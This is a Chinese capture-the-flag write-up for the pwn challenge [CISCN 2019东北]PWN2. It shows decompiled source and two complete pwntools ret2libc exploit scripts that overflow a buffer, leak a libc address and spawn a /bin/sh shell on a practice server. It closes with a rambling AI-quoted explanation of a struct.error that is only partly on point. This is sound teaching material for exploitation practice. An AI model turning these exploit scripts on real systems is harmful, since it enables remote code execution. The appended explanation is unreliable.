25-1-18CTF

[CISCN 2019东北]PWN2

c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+Ch] [rbp-4h] BYREF

init(argc, argv, envp);
puts("EEEEEEE hh iii ");
puts("EE mm mm mmmm aa aa cccc hh nn nnn eee ");
puts("EEEEE mmm mm mm aa aaa cc hhhhhh iii nnn nn ee e ");
puts("EE mmm mm mm aa aaa cc hh hh iii nn nn eeeee ");
puts("EEEEEEE mmm mm mm aaa aa ccccc hh hh iii nn nn eeeee ");
puts("====================================================================");
puts("Welcome to this Encryption machine\n");
begin();
while ( 1 )
{
while ( 1 )
{
fflush(0LL);
v4 = 0;
__isoc99_scanf("%d", &v4);
getchar();
if ( v4 != 2 )
break;
puts("I think you can do it by yourself");
begin();
}
if ( v4 == 3 )
{
puts("Bye!");
return 0;
}
if ( v4 != 1 )
break;
encrypt();
begin();
}
puts("Something Wrong!");
return 0;
}

拿到题目丢ida,发现无后门函数,无flag,开启了nx保护

ret2libc

exp如下

python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
from LibcSearcher import *
context(os = 'linux',arch = 'amd64',log_level='debug')

elf = ELF('./blog1')
libc = ELF('./libc')//附件没给,libc是2.27

#p = process('./blog1')
p = remote('node5.anna.nssctf.cn',29599)

ret = 0x4006b9
leave = 0x400c1b
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = 0x400B28
pop_rdi = 0x400c83
p.sendlineafter("Input your choice!\n","1")
payload = b'a'*(0x50+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
p.sendline(payload)
puts_addr = u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))

libc_puts = libc.sym['puts']
libc_address = puts_addr - libc_puts
print(hex(libc_address))

system = libc.sym['system'] + libc_address
binsh = libc.search(b'/bin/sh\x00').__next__()+libc_address
p.sendline("1")
payload1 = b'a'*(0x50+8)+p64(ret) +p64(pop_rdi)+p64(binsh)+p64(system)
p.sendline(payload1)
p.interactive()

如果你觉得找libc版本太难了,用libcsearcher

如下

python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')

p = remote('node5.anna.nssctf.cn',29599)

elf = ELF('./blog1')

pop_rdi = 0x0400c83
main_add = elf.symbols['main']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
ret = 0x04006b9

print(hex(puts_got))

p.sendlineafter(b'Input your choice!', str(1))

payload = b'a' * 0x58 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_add)

p.sendlineafter(b'be encrypted', payload)

puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))

print(hex(puts_addr))

libc = LibcSearcher('puts', puts_addr)

libc_base = puts_addr - libc.dump('puts')

system_add = libc_base + libc.dump('system')

bin_sh_add = libc_base + libc.dump('str_bin_sh')

p.sendlineafter(b'Input your choice!', str(1))

payload2 = b'a'*0x58 + p64(ret) + p64(pop_rdi) + p64(bin_sh_add) + p64(system_add) + p64(ret)

p.sendlineafter(b'encrypted',payload2)

p.interactive()


ps:如果在查找/bin/sh的地址时一定要加.next()

不加会引发

struct.error: required argument is not an integer

详细解释如下:*//来自AI*

在 Python 中,struct 模块用于处理二进制数据的打包和解包。struct.error: required argument is not an integer 这个错误通常发生在使用 struct 模块的函数(如 packunpack)时,传递了不符合要求的参数。

例如,以下代码可能会引发此错误

python
1
2
import struct
data = struct.pack("i", "hello")

这里,struct.pack("i", "hello") 试图将一个字符串 "hello" 按照 i(代表整数)的格式进行打包,但 "hello" 不是一个整数,因此会引发 struct.error: required argument is not an integer 错误。

.__next__() 通常与迭代器有关。当你使用 .__next__() 时,一般是在迭代一个可迭代对象,比如文件对象、生成器对象等。它与解决 struct.error 可能没有直接关系,除非在一个特定的代码逻辑中,通过使用 .__next__() 可以改变或控制传递给 struct 模块的参数的类型或来源。

假设你有一个生成器,它产生整数:

python
1
2
3
4
5
6
7
8
9
10
11
def int_generator():
yield 1
yield 2
yield 3

gen = int_generator()
import struct
for i in range(3):
value = next(gen) # 获取生成器的下一个元素
packed = struct.pack("i", value) # 将整数打包
print(packed)

在这个例子中,next(gen)(等同于 gen.__next__()) 从生成器中获取下一个元素,这个元素是一个整数,然后将其传递给 struct.pack 函数,就不会引发 struct.error: required argument is not an integer 错误,因为 value 是一个整数。

如果在你的代码中,错误的出现是因为 struct 模块接收到了错误的数据类型,使用 .__next__() 可能是通过迭代器来确保传递给 struct 的参数是正确的数据类型。例如,如果有一个列表包含了不同的数据类型,使用迭代器可以过滤出所需的整数:

python
1
2
3
4
5
6
data_list = [1, "string", 2, 3.14, 4]
filtered_integers = (item for item in data_list if isinstance(item, int))
import struct
for integer in filtered_integers:
packed = struct.pack("i", integer)
print(packed)

这里,(item for item in data_list if isinstance(item, int)) 是一个生成器表达式,它使用 isinstance(item, int) 过滤出列表中的整数,通过迭代这个生成器,struct.pack 可以接收到正确的整数参数。

总之,.__next__() 本身不能直接解决 struct.error: required argument is not an integer,但如果在使用 struct 模块的上下文中,通过 .__next__() 正确管理迭代器或生成器,从而确保传递给 struct 模块的数据类型是正确的,那么可能间接地避免这个错误。

需要注意的是,使用 .__next__() 时要小心 StopIteration 异常,因为当迭代器耗尽时,会抛出此异常。为了避免这种情况,可以使用 next(iterator, default_value) 函数,它允许你提供一个默认值,当迭代器耗尽时返回该默认值而不是抛出异常:

python
1
2
3
4
5
6
gen = int_generator()
import struct
for i in range(4):
value = next(gen, 0) # 如果迭代器耗尽,返回 0
packed = struct.pack("i", value)
print(packed)

使用 .__next__() 解决 struct.error 时要明确你的数据来源和迭代器的使用目的,确保最终传递给 struct 模块的数据类型符合其函数的要求,避免出现 struct.error: required argument is not an integer 这样的数据类型不匹配错误。